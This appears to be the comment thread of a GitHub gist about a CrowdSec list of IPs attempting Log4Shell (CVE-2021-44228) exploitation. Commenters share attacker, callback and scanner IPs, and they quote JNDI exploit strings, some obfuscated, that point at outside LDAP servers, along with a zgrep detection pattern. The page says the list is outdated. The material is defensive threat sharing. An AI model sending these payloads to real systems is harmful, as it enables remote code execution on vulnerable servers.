IPs exploiting the log4j2 CVE-2021-44228 detected by the crowdsec community

log4j_exploitation_attempts_crowdsec.md

This list is no longer updated, thus the information is no longer reliable.

You can see the latest version (from october 2022) here

https://crowdsec.net/log4j-tracker/

IPs that are not validated in this list and that are detected in customer environment:
185.220.100.248 (not in list -- tor exit node)
185.220.101.179 (not in list -- tor exit node)
193.3.19.159 (not in list -- callback IP from 185.220.100.248 & 185.220.101.179 -- one of many variotions: ${jndi:ldap://193.3.19.159:53/c)
194.195.244.69 (pending in your list)
188.166.92.228 (not_enough_data in your list)
167.99.164.160 (not_enough_data in your list)
167.99.164.201 (not_enough_data in your list)
134.209.163.248 (callback IP from 168.99.164.160 & 167.99.164.201 & 188.166.92.228 -- one of many variations: ${jndi:ldap://134.209.163.248:80/callback/ldap2)
164.90.199.216 (not in list -- Not used maliciously in our logs, only testing -- ${jndi:ldap://randomstring.dnslog.cn/a)
45.83.193.150 (not in list -- callback IP from 51.105.55.17 & 150.158.189.96 & 195.251.41.139 & 167.71.175.10 & 112.74.52.90 -- $%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D)
162.55.90.26 (not in list -- callback IP from 45.56.80.11 -- ${jndi:ldap://162.55.90.26/2639964726/C)
185.224.139.151 (not in list -- callback IP from 164.52.53.163 -- ${jndi:ldap://185.224.139.151:1389/Exploit)
45.130.229.168 (not in list -- callback IP from 20.71.156.146 & 221.199.187.100 -- one of the variations: /$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D)

Last updated 17/12 13:16 CET+1

104.248.51.21 Log4j attempts :)

find /var/log -name *.gz -print0 | xargs -0 zgrep -E -i '$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
/var/log/apache2/access.log.4.gz:80.245.62.2 - - [12/Dec/2021:21:07:41 +0100] "GET /?x=${jndi:ldap://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com/a} HTTP/1.1" 200 7157 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com}"

167.99.172.99
159.89.133.216
147.182.179.141
137.184.111.180
137.184.102.82
159.89.146.147
137.184.99.237
137.184.96.227
147.182.154.100
134.122.33.6
159.89.154.185
137.184.98.145
137.184.96.216
138.68.250.214
165.227.32.109
167.99.172.148
137.184.102.188
137.184.101.21
159.203.58.73
147.182.146.165
147.182.219.9
137.184.104.73
137.184.98.176
137.184.105.192
137.184.104.197
165.227.37.189
147.182.213.12
161.35.97.10
147.182.150.18
147.182.150.124
159.89.94.219
157.245.129.50
143.110.221.204
161.35.119.60
159.89.85.91
147.182.156.12
137.184.106.119
167.99.172.58
167.99.172.213
147.182.154.110
143.110.221.219
138.197.167.229
147.182.187.229
159.89.150.150
147.182.150.37
147.182.150.23
147.182.146.192
137.184.138.79
137.184.137.242
137.184.107.109
147.182.169.254

Those are all binaryedge scanners. Some of the hostnames
jerry-se-do-na-central-scanners-86.do.binaryedge.ninja
jerry-se-do-na-central-scanners-41.do.binaryedge.ninja
jerry-se-do-na-central-scanners-22.do.binaryedge.ninja
jerry-se-do-na-central-scanners-87.do.binaryedge.ninja
jerry-se-do-na-central-scanners-40.do.binaryedge.ninja
jerry-se-do-na-central-scanners-82.do.binaryedge.ninja
jerry-se-do-na-central-scanners-12.do.binaryedge.ninja

195.54.160.149
58.39.121.78
80.255.7.121

We had a log4j attack come in from 89.45.7.181 and establish a c2 connection to 92.222.136.224

3.94.100.157 - - - CVE-2021-44228

Hello,
New Log4j attack from IP : 98.0.242.10 to an C&C server with this IP 185.8.172.132

The following IPs are registered on behalf of datagridsurface.com which can be checked with a simple lookup

172.104.230.136,scan4.datagridsurface.com.
172.104.230.214,scan5.datagridsurface.com.
172.104.230.234,scan2.datagridsurface.com.
172.104.230.246,scan3.datagridsurface.com.
172.104.230.25,scan1.datagridsurface.com.
194.233.160.160,scan6.datagridsurface.com.
194.233.160.161,scan9.datagridsurface.com.
194.233.160.162,scan7.datagridsurface.com.
194.233.160.164,scan8.datagridsurface.com.
194.233.160.165,scan10.datagridsurface.com.

194.163.182.89 is trying other fuzzing techniques besides log4j

194.163.182.89 is trying other fuzzing techniques besides log4j

You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89

194.163.182.89 is trying other fuzzing techniques besides log4j

You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89

are you working for them? the page is behind a paywall... please share the details here

194.163.182.89 is trying other fuzzing techniques besides log4j

You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89

are you working for them? the page is behind a paywall... please share the details here
Hey @avipars
There is no paywall, it just requires creating a free account (only user email and password are necessary). Then you can use the Console to monitor your CrowdSec instances - if you have any - or to explore the CTI - an API is also available